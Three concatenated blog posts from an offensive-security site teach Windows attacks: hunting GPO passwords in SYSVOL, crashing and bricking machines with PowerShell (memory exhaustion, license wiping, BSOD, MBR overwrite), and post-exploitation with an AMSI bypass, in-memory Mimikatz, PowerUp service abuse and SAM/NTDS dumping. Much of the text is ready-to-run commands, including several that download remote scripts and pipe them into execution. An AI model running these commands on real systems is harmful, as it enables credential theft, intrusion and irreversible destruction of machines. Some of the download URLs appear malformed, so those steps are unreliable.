Welcome back, pentesters!

Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.

A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.  

What is a GPO

A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more. 

Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it. 

We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.

Here is how you set it up:

PS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'

PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'

PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurr

What GPOs Exist?

Before we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets. 

PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSize

For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).

As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.

It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it. 

Where Do They Apply?

Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.

PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSize

Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.

Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.

You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.

The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.

Let’s list what computers are in Workstations-Temp.

PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedName

Look Inside the GPOs

Now that we know which GPOs hit Workstations-Temp, we can find out what they actually do.

PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObject

Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.

You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.

Listing Files

For the reason mentioned above, we won’t trust the output and list all the files ourselves. 

PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSize

Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.

Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.

Decrypting the Password

Let’s take a look at Groups.xml and see its structure. 

PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xml

Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there. 

kali > nxc smb DC -u user -p password 

Permission to Change 

Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.

PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSize

This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.

In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.

A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.

Ownership

An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big. 

PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSize

In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.

If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.

Summary

We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times. 

There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.

Welcome back, cyberwarriors!

In this part of the series, we’re looking at how PowerShell can cause serious damage when nothing is restricting it. We’ll show how it can slow systems down and knock them off completely. You’ll see how hardware interfaces can get disabled, license keys wiped and a blue screen forced with machines left unbootable.

All these techniques are destructive, but our goal here is to show you that you shouldn’t just monitor command execution in PowerShell, you should also experiment with Language Modes to limit the attack surface if a workstation gets compromised. If these scripts are misused in the wrong context, the results can be irreversible.

We’ll begin with the basics and then move toward the dangerous things. 

Overloading RAM

The loadram.ps1 script works by aggressively consuming system memory. It allocates large arrays until nearly all available RAM is exhausted, leaving only a small buffer so the OS does not immediately collapse. The machine becomes unusable and applications stop responding.

This type of attack can be used as a DoS tactic to slow down a server, or it can act as a distraction, while other activity takes place.

PS > .\loadram.ps1

Overloading CPU

The loadcpu.ps1 script applies the same principle to processor cores, pinning usage at 100% until the script is terminated. Just as with RAM exhaustion, this script can serve as a cover while hackers are doing something else.

PS > .\loadcpu.ps1

Windows License Killer

The license.ps1 script clears Windows product keys by wiping out OEM, retail and volume license entries from the registry. The system becomes stripped of activation data. After restarting the Software Protection Service, Windows will be unlicensed and may refuse to validate against Microsoft servers.

PS > .\license.ps1

Then you can check the product key:

PS > (Get-WmiObject -query 'select  from SoftwareLicensingService').OA3xOriginalProductKey

The result should be empty. 

USB and Network Killer

You can also kill network adapters and USB controllers using killer.ps1 script. Once you run it, the mouse and keyboard will stop working. There will be no way to transfer files, connect to the network or even plug in a recovery device without significant intervention.

PS > .\killer.ps1

Mayhem by PowerSploit

PowerSploit includes a module called Mayhem, which has two destructive PowerShell functions. These are Set-CriticalProcess and Set-MasterBootRecord. Both directly attack the operating system itself.

Set-CriticalProcess

Windows protects smss.exe and csrss.exe by marking them as critical. If they are terminated, the system triggers a Blue Screen of Death. Set-CriticalProcess can tag any process with this critical status. Killing it immediately forces a system crash.

To use it, first copy the Mayhem module from the repository to:

C:\Program Files\WindowsPowerShell\Modules\

Then you can run Set-CriticalProcess:

PS > Set-CriticalProcess

Confirm with Y and expect the machine to blue screen in moments.

Set-MasterBootRecord

This is the most destructive of all. Unlike Set-CriticalProcess, this attack corrupts the Master Boot Record (MBR), which is the first sector of the hard drive. The MBR has the bootloader and partition table and without it Windows cannot load.

When it’s overwritten, the system may only display your custom message and will refuse to boot into the OS. Some malware does the same. The OS will work only if you fix the MBR, but chances are you will have to reinstall the OS. 

In our article on Digital Forensics we were repairing a corrupted drive where the MBR had been overwritten.

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!'

You can also force the system to reboot right after:

PS > Set-MasterBootRecord -BootMessage 'Pwned by Cyber Cossacks!' -Force -RebootImmediately

It will no longer boot into Windows.

Summary

We showed how far PowerShell can be pushed when used as a weapon. That alone should be enough to convince you to restrict its use and work with Language Modes to help protect your system. By default, workstations and servers are pretty permissive, which makes them comfortable to use. The same permissiveness is just as accommodating for a hacker who has breached a system through phishing. Restricted Language Mode is a must on workstations where users don’t need PowerShell in the first place.

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 5: How to Crash and Burn Windows first appeared on Hackers Arise.

Welcome back, pentesters!

For quite a while we’ve been covering different ways PowerShell can be used by hackers. You’ve learned about persistence, evasion, survival and the mayhem you can cause with PowerShell.

Today we’ll show you a basic workflow for interacting with a Windows system once you’ve gained some access. You’ll see privilege escalation, AMSI bypass and dumping credentials from a host. PowerShell can be used to exploit systems, even though it was never built for that purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that usually get done manually can be automated with the scripts. Let’s start by learning about AMSI.

AMSI Bypass

AMSI is the Antimalware Scan Interface. It’s a Windows feature that sits between script engines like PowerShell or Office macros and whatever AV/EDR product is installed on the machine. When you execute something, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script attacks and malware. Hackers are constantly looking for ways to keep that content from ever reaching AMSI  or to alter it so it won’t match detection rules.

You’ll see plenty of articles and tools claiming to bypass AMSI, but soon after they get released, Microsoft patches the vulnerability. That doesn’t mean these bypasses don’t exist. They certainly do and hackers use them, so it’s worth being familiar with this attack. Let’s test our system and try to patch AMSI.

First we need to check if the Defender is running on our target:

PS > Get-WmiObject -Class Win32_Service -Filter “Name=’WinDefend’”

And it is. If it was off, we wouldn’t need any AMSI bypass.

Patching AMSI

We need to patch AMSI using our script. Let’s download it:

PS > wget   https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -O shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a simple one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

If your output matches ours, then AMSI has been successfully patched. From now on, Defender doesn’t have access to your PowerShell sessions and anything can be executed in it. 

It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Since you can run whatever you want now, let’s use Mimikatz to grab credentials. We’ll run it in memory without ever letting it touch disk. The command below can be paired with the AMSI script to keep it off the disk entirely.

Note that we are using Invoke-Mimikatz.ps1 by g4uss47 and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we don’t recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and see what’s there in the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of a brand manager. If we compromised a more valuable system in the domain, like a server or a database, we could expect domain admin credentials. You’ll see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Sometimes systems are misconfigured and regular users end up with admin privileges on them, so you won’t need to bother much here. That can let you skip privilege escalation entirely and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors for privilege escalation, but among the most common are unquoted service paths and insecure file permissions. Insecure file permissions can be abused easily by just swapping in a malicious file with the same name as the legitimate one, but unquoted service paths take more work for a beginner. That’s why we’ll cover this attack today with the help of PowerUp. Before we get into it, it’s worth mentioning that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services, where the full path to the service executable has spaces in it but isn’t wrapped in quotation marks. Since Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can get interpreted ambiguously. The system might search for an executable at C:\Program.exe or C:\Program Files\My.exe before it ever reaches the intended service.exe. A hacker can drop their own executable at one of those earlier locations and the system will run that instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService  

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

With enough privileges, we can dump NTDS and SAM without having to deal with security products at all, just using native Windows functions. These attacks usually take multiple commands, since dumping only NTDS or only a SAM hive doesn’t get you anywhere on its own. That’s why we added a new script to our repository. It automatically identifies what kind of host you’re running it on and dumps the files you need. NTDS only exists on Domain Controllers and holds the credentials of every Active Directory user, so you won’t find this file on regular machines. Regular machines get exploited instead by dumping their SAM and SYSTEM hives. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then we execute the script to dump SAM and SYSTEM hives:

PS > wget https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper -O ntds.ps1

PS > .\ntds.ps1

# or in memory only
PS > iwr https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper | iex

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

kali > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you’ve already compromised a domain admin or managed to escalate your privileges on the Domain Controller, you might want to grab the credentials of every user in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. You can load scripts into Evil-WinRM straight from your machine so they execute on the target without ever touching disk. It can also patch AMSI, but be really careful with that.

Connect to the DC:

kali > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command to save them. Then run this command:

kali > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

PowerShell can also be used for privilege escalation and complete domain compromise. We showed you a few steps where each builds on the previous one. Hackers can chain these small misconfigurations to take over an organization. 

Want to become a Powershell expert? Join our Powershell for Hackers training.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.